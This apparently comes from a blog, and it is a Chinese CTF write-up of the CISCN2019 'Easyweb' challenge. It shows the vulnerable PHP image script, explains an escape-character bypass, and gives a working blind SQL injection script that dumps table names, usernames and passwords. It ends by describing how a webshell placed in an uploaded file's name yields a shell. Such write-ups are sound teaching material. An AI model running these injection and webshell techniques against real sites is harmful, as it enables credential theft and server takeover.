[CISCN2019 总决赛 Day2 Web1]Easyweb

知识点:sql盲注,转义字符

应该是获得usrename的值,看看有没有注册页面register.php
在这里插入图片描述
然而并没有,尝试sql注入,注了半天啥反应都没有。
跑下目录看一下,试试,可以看到有两个页面有反应,robots.txtimage.php
在这里插入图片描述
提示:.php.bak,image.php.bak可以拿到源码。
在这里插入图片描述

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

我们的目标肯定是使得这句能够执行我们的查询语句:

id='{$id}' or path='{$path}'");

先看这段,会把一些字符赋值空:且\0,实际上是\0,因为第一个斜杠实际上是对第二个斜杠的转义,也就是说可以利用替换达成我们的目的。

在这里插入图片描述
再看这段

addslashes:该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)。 

在这里插入图片描述
举个例子

<?php
    $id = "\\0";
    echo $id.'<br>';
    $id = addslashes($id);
    echo $id.'<br>';
    $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
    echo $id.'<br>';
?>

显示先传入变量id值为\\0,先被转义为\0,再经过addslashes()的处理,变量id="\\0",最后经过str_replace()的替换,变为\
在这里插入图片描述
也就是说此时sql语句为id={' \' or path='} {$path}');,我们可以再path处构造盲注。

import requests


url = 'http://dc915e1f-f867-4a5a-bb60-2dd2708768c5.node4.buuoj.cn:81//image.php?id=\\0&path=or 1='
flag = ''
name = ''

for i in range(1, 50):
    for j in range(127, 0, -1):
        #爆表
        #payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d,1,-1)%%23' % (i, j)

        #爆字段因为过滤了'和"所以用16进制代替表名user
        #payload = 'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))=%d,1,-1)%%23' % (i, j)

        #爆username值
        #payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23' % (i, j)

        #爆password值
        payload = 'if(ascii(substr((select group_concat(password) from users),%d,1))=%d,1,-1)%%23' % (i, j)
        r = requests.get(url+payload)
        #因为当成功时会返回图片,可以以此来判断。
        if "JFIF" in r.text:
            name += chr(j)
            print(name)
            break

得到账户密码:

admin
bc876077ef9ba9903c37

登录可以看到是一个上传页面,随便传个文件,告诉我们会把文件名写入到日志中所以我们只要上传一个文件名为一句话木马的文件就行了
在这里插入图片描述

在这里插入图片描述
最后getshell就行了。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值